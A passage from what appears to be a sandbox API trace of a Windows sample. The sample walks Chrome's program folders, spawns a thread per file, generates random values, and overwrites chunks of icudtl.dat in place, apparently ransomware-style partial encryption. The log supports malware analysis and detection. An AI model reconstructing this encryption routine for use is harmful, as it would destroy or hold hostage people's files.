dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x45bfb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc68 [0066.053] FindNextFileW (in: hFindFile=0x40a428, lpFindFileData=0x459560 | out: lpFindFileData=0x459560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7b17e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfea82701, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x63d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="drive.crx", cAlternateFileName="")) returned 1 [0066.053] wcscmp (_String1="drive.crx", _String2=".") returned 1 [0066.054] wcscmp (_String1="drive.crx", _String2="..") returned 1 [0066.054] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xac) returned 0x45c408 [0066.054] wcscpy (in: _Dest=0x45c408, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps" [0066.054] wcscat (in: _Dest=0x45c408, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\" [0066.054] wcscat (in: _Dest=0x45c408, _Source="drive.crx" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\drive.crx") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\drive.crx" [0066.054] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x45c408, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1070 [0066.056] FindNextFileW (in: hFindFile=0x40a428, lpFindFileData=0x459560 | out: lpFindFileData=0x459560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7b17e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfeab0d44, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x4f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="external_extensions.json", cAlternateFileName="EXTERN~1.JSO")) returned 1 [0066.056] wcscmp (_String1="external_extensions.json", _String2=".") returned 1 [0066.056] wcscmp (_String1="external_extensions.json", _String2="..") returned 1 [0066.056] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xca) returned 0x40da48 [0066.056] wcscpy (in: _Dest=0x40da48, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps" [0066.056] wcscat (in: _Dest=0x40da48, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\" [0066.056] wcscat (in: _Dest=0x40da48, _Source="external_extensions.json" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\external_extensions.json") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\external_extensions.json" [0066.056] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x40da48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x106c [0066.057] FindNextFileW (in: hFindFile=0x40a428, lpFindFileData=0x459560 | out: lpFindFileData=0x459560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7b17e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfea9adab, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x5de8, dwReserved0=0x0, dwReserved1=0x0, cFileName="gmail.crx", cAlternateFileName="")) returned 1 [0066.057] wcscmp (_String1="gmail.crx", _String2=".") returned 1 [0066.057] wcscmp (_String1="gmail.crx", _String2="..") returned 1 [0066.057] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xac) returned 0x45c910 [0066.057] wcscpy (in: _Dest=0x45c910, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps" [0066.057] wcscat (in: _Dest=0x45c910, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\" [0066.057] wcscat (in: _Dest=0x45c910, _Source="gmail.crx" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\gmail.crx") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\gmail.crx" [0066.057] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x45c910, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1068 [0066.060] FindNextFileW (in: hFindFile=0x40a428, lpFindFileData=0x459560 | out: lpFindFileData=0x459560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7b17e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfeaa9811, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x5c74, dwReserved0=0x0, dwReserved1=0x0, cFileName="youtube.crx", cAlternateFileName="")) returned 1 [0066.060] wcscmp (_String1="youtube.crx", _String2=".") returned 1 [0066.060] wcscmp (_String1="youtube.crx", _String2="..") returned 1 [0066.060] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb0) returned 0x45c858 [0066.060] wcscpy (in: _Dest=0x45c858, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps" [0066.060] wcscat (in: _Dest=0x45c858, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\" [0066.060] wcscat (in: _Dest=0x45c858, _Source="youtube.crx" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\youtube.crx") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\youtube.crx" [0066.060] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x45c858, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1064 [0066.061] FindNextFileW (in: hFindFile=0x40a428, lpFindFileData=0x459560 | out: lpFindFileData=0x459560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7b17e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfeaa9811, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x5c74, dwReserved0=0x0, dwReserved1=0x0, cFileName="youtube.crx", cAlternateFileName="")) returned 0 [0066.062] FindClose (hFindFile=0x40a428) Thread: id = 489 os_tid = 0xe94 [0049.286] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x98) returned 0x449d80 [0049.286] wcscpy (in: _Dest=0x449d80, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Extensions" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Extensions") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Extensions" [0049.286] wcscat (in: _Dest=0x449d80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Extensions\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Extensions\\" [0049.286] wcscat (in: _Dest=0x449d80, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Extensions\\*") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Extensions\\*" [0049.286] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x45afd8 [0049.286] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Extensions\\*", lpFindFileData=0x45afd8 | out: lpFindFileData=0x45afd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d7b17e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440260 [0055.874] wcscmp (_String1=".", _String2=".") returned 0 [0055.874] FindNextFileW (in: hFindFile=0x440260, lpFindFileData=0x45afd8 | out: lpFindFileData=0x45afd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d7b17e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.874] wcscmp (_String1="..", _String2=".") returned 1 [0055.874] wcscmp (_String1="..", _String2="..") returned 0 [0055.874] FindNextFileW (in: hFindFile=0x440260, lpFindFileData=0x45afd8 | out: lpFindFileData=0x45afd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7b17e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfeab3455, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x63, dwReserved0=0x0, dwReserved1=0x0, cFileName="external_extensions.json", cAlternateFileName="EXTERN~1.JSO")) returned 1 [0055.874] wcscmp (_String1="external_extensions.json", _String2=".") returned 1 [0055.874] wcscmp (_String1="external_extensions.json", _String2="..") returned 1 [0055.874] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc6) returned 0x5e003a0 [0055.874] wcscpy (in: _Dest=0x5e003a0, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Extensions" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Extensions") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Extensions" [0055.874] wcscat (in: _Dest=0x5e003a0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Extensions\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Extensions\\" [0055.874] wcscat (in: _Dest=0x5e003a0, _Source="external_extensions.json" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Extensions\\external_extensions.json") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Extensions\\external_extensions.json" [0057.883] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5e003a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e0 [0057.884] FindNextFileW (in: hFindFile=0x440260, lpFindFileData=0x45afd8 | out: lpFindFileData=0x45afd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7b17e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfeab3455, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x63, dwReserved0=0x0, dwReserved1=0x0, cFileName="external_extensions.json", cAlternateFileName="EXTERN~1.JSO")) returned 0 [0057.884] FindClose (in: hFindFile=0x440260 | out: hFindFile=0x440260) returned 1 [0057.884] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45afd8) returned 1 [0057.884] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x449d80) returned 1 [0057.885] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4239e0) returned 1 Thread: id = 490 os_tid = 0xe98 [0049.286] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\icudtl.dat" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\icudtl.dat")) returned 0x20 [0055.875] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\icudtl.dat", dwFileAttributes=0x20) returned 1 [0058.020] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\icudtl.dat" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\icudtl.dat"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xbac [0058.021] GetFileSizeEx (in: hFile=0xbac, lpFileSize=0xc02fd94 | out: lpFileSize=0xc02fd94*=10130560) returned 1 [0058.021] SetFilePointerEx (in: hFile=0xbac, liDistanceToMove=0x9a947c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.021] ReadFile (in: hFile=0xbac, lpBuffer=0xc02fd18, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xc02fd14, lpOverlapped=0x0 | out: lpBuffer=0xc02fd18*, lpNumberOfBytesRead=0xc02fd14*=0x4, lpOverlapped=0x0) returned 1 [0058.023] SetFilePointerEx (in: hFile=0xbac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.023] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441370 [0058.023] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441488 [0058.023] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441410 [0058.023] NtQuerySystemTime (in: CurrentTime=0xc02fcf4 | out: CurrentTime=0xc02fcf4*=132174898220088000) returned 0x0 [0058.023] RtlRandomEx (in: Seed=0xc02fd00 | out: Seed=0xc02fd00) returned 0x183fbe77 [0058.023] RtlRandomEx (in: Seed=0xc02fd00 | out: Seed=0xc02fd00) returned 0x4501e6d [0058.023] RtlRandomEx (in: Seed=0xc02fd00 | out: Seed=0xc02fd00) returned 0x13d4acc3 [0058.023] RtlRandomEx (in: Seed=0xc02fd00 | out: Seed=0xc02fd00) returned 0x3189c568 [0058.023] RtlRandomEx (in: Seed=0xc02fd00 | out: Seed=0xc02fd00) returned 0x1407c8e2 [0058.023] RtlRandomEx (in: Seed=0xc02fd00 | out: Seed=0xc02fd00) returned 0x325ddc19 [0058.023] RtlRandomEx (in: Seed=0xc02fd00 | out: Seed=0xc02fd00) returned 0x6884732b [0058.023] RtlRandomEx (in: Seed=0xc02fd00 | out: Seed=0xc02fd00) returned 0x3afffa2c [0058.023] RtlRandomEx (in: Seed=0xc02fd00 | out: Seed=0xc02fd00) returned 0x3eca941f [0058.023] RtlRandomEx (in: Seed=0xc02fd00 | out: Seed=0xc02fd00) returned 0x34a0de2d [0058.023] RtlRandomEx (in: Seed=0xc02fd00 | out: Seed=0xc02fd00) returned 0x57ac1bdf [0058.023] RtlRandomEx (in: Seed=0xc02fd00 | out: Seed=0xc02fd00) returned 0x70745fac [0058.023] RtlRandomEx (in: Seed=0xc02fd00 | out: Seed=0xc02fd00) returned 0x30ad12d5 [0058.023] RtlRandomEx (in: Seed=0xc02fd00 | out: Seed=0xc02fd00) returned 0x105aa306 [0058.023] RtlRandomEx (in: Seed=0xc02fd00 | out: Seed=0xc02fd00) returned 0x360e5d91 [0058.023] RtlRandomEx (in: Seed=0xc02fd00 | out: Seed=0xc02fd00) returned 0x6e343397 [0058.023] RtlRandomEx (in: Seed=0xc02fd00 | out: Seed=0xc02fd00) returned 0x18197546 [0058.024] RtlRandomEx (in: Seed=0xc02fd00 | out: Seed=0xc02fd00) returned 0x46a9e592 [0058.024] RtlRandomEx (in: Seed=0xc02fd00 | out: Seed=0xc02fd00) returned 0x254fe8c8 [0058.024] RtlRandomEx (in: Seed=0xc02fd00 | out: Seed=0xc02fd00) returned 0x21a94c35 [0058.024] RtlRandomEx (in: Seed=0xc02fd00 | out: Seed=0xc02fd00) returned 0xf74cf22 [0058.024] RtlRandomEx (in: Seed=0xc02fd00 | out: Seed=0xc02fd00) returned 0x4b849b62 [0058.024] RtlRandomEx (in: Seed=0xc02fd00 | out: Seed=0xc02fd00) returned 0x3dd5d3ed [0058.024] RtlRandomEx (in: Seed=0xc02fd00 | out: Seed=0xc02fd00) returned 0x7b90a527 [0058.024] RtlRandomEx (in: Seed=0xc02fd00 | out: Seed=0xc02fd00) returned 0x5a0068a3 [0058.024] RtlRandomEx (in: Seed=0xc02fd00 | out: Seed=0xc02fd00) returned 0x4fe46988 [0058.024] RtlRandomEx (in: Seed=0xc02fd00 | out: Seed=0xc02fd00) returned 0x6a77bbc3 [0058.024] RtlRandomEx (in: Seed=0xc02fd00 | out: Seed=0xc02fd00) returned 0x6b5d0fb6 [0058.024] RtlRandomEx (in: Seed=0xc02fd00 | out: Seed=0xc02fd00) returned 0x6a386e30 [0058.024] RtlRandomEx (in: Seed=0xc02fd00 | out: Seed=0xc02fd00) returned 0x4b250c11 [0058.024] RtlRandomEx (in: Seed=0xc02fd00 | out: Seed=0xc02fd00) returned 0x617b8f7f [0058.024] RtlRandomEx (in: Seed=0xc02fd00 | out: Seed=0xc02fd00) returned 0x3d89129a [0058.035] SetFilePointerEx (in: hFile=0xbac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.035] ReadFile (in: hFile=0xbac, lpBuffer=0x1958b028, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xc02fcac, lpOverlapped=0x0 | out: lpBuffer=0x1958b028*, lpNumberOfBytesRead=0xc02fcac*=0xc800, lpOverlapped=0x0) returned 1 [0058.037] SetFilePointerEx (in: hFile=0xbac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.037] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c168 [0058.037] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b2d0 [0058.037] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441370 [0058.037] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441370) returned 1 [0058.038] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x19597830 [0058.039] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441370 [0058.039] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441410 [0058.039] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441410) returned 1 [0058.039] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b2d0) returned 1 [0058.039] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c168) returned 1 [0058.039] WriteFile (in: hFile=0xbac, lpBuffer=0x19597830*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xc02fcac, lpOverlapped=0x0 | out: lpBuffer=0x19597830*, lpNumberOfBytesWritten=0xc02fcac*=0xc800, lpOverlapped=0x0) returned 1 [0059.265] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19597830) returned 1 [0059.265] SetFilePointerEx (in: hFile=0xbac, liDistanceToMove=0x4d5800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.265] ReadFile (in: hFile=0xbac, lpBuffer=0x1958b028, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xc02fcac, lpOverlapped=0x0 | out: lpBuffer=0x1958b028*, lpNumberOfBytesRead=0xc02fcac*=0xc800, lpOverlapped=0x0) returned 1 [0059.267] SetFilePointerEx (in: hFile=0xbac, liDistanceToMove=0x4d5800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.267] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44bb80 [0059.267] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b8e8 [0059.267] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf0f0 [0059.267] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf0f0) returned 1 [0059.268] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x5e79880 [0059.268] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf0f0 [0059.268] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf118 [0059.268] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf118) returned 1 [0059.269] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b8e8) returned 1 [0059.269] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bb80) returned 1 [0059.269] WriteFile (in: hFile=0xbac, lpBuffer=0x5e79880*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xc02fcac, lpOverlapped=0x0 | out: lpBuffer=0x5e79880*, lpNumberOfBytesWritten=0xc02fcac*=0xc800, lpOverlapped=0x0) returned 1 [0062.335] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e79880) returned 1 [0062.335] SetFilePointerEx (in: hFile=0xbac, liDistanceToMove=0x99cc80, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.335] ReadFile (in: hFile=0xbac, lpBuffer=0x1958b028, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xc02fcac, lpOverlapped=0x0 | out: lpBuffer=0x1958b028*, lpNumberOfBytesRead=0xc02fcac*=0xc800, lpOverlapped=0x0) returned 1 [0062.336] SetFilePointerEx (in: hFile=0xbac, liDistanceToMove=0x99cc80, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.336] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x402ba0 [0062.336] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x4377d8 [0062.336] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9070 [0062.336] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9070) returned 1 [0062.337] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x5e79880 [0062.338] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9070 [0062.338] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8fd0 [0062.338] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8fd0) returned 1 [0062.338] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4377d8) returned 1 [0062.338] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402ba0) returned 1 [0062.338] WriteFile (in: hFile=0xbac, lpBuffer=0x5e79880*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xc02fcac, lpOverlapped=0x0 | out: lpBuffer=0x5e79880*, lpNumberOfBytesWritten=0xc02fcac*=0xc800, lpOverlapped=0x0) returned 1 [0066.240] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e79880) returned 1 [0066.240] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x60) returned 0x48d9a0 [0066.240] SetFilePointerEx (in: hFile=0xbac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.240] WriteFile (hFile=0xbac, lpBuffer=0x449b20, nNumberOfBytesToWrite=0x145, lpNumberOfBytesWritten=0xc02fd54, lpOverlapped=0x0) Thread: id = 491 os_tid = 0xe9c [0049.286] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x96) returned 0x424420 [0049.287] wcscpy (in: _Dest=0x424420, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer" [0049.287] wcscat (in: _Dest=0x424420, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer\\" [0049.287] wcscat (in: _Dest=0x424420, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer\\*") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer\\*" [0049.287] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x45b4a8 [0049.287] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer\\*", lpFindFileData=0x45b4a8 | out: lpFindFileData=0x45b4a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440220 [0055.873] wcscmp (_String1=".", _String2=".") returned 0 [0055.873] FindNextFileW (in: hFindFile=0x440220, lpFindFileData=0x45b4a8 | out: lpFindFileData=0x45b4a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.873] 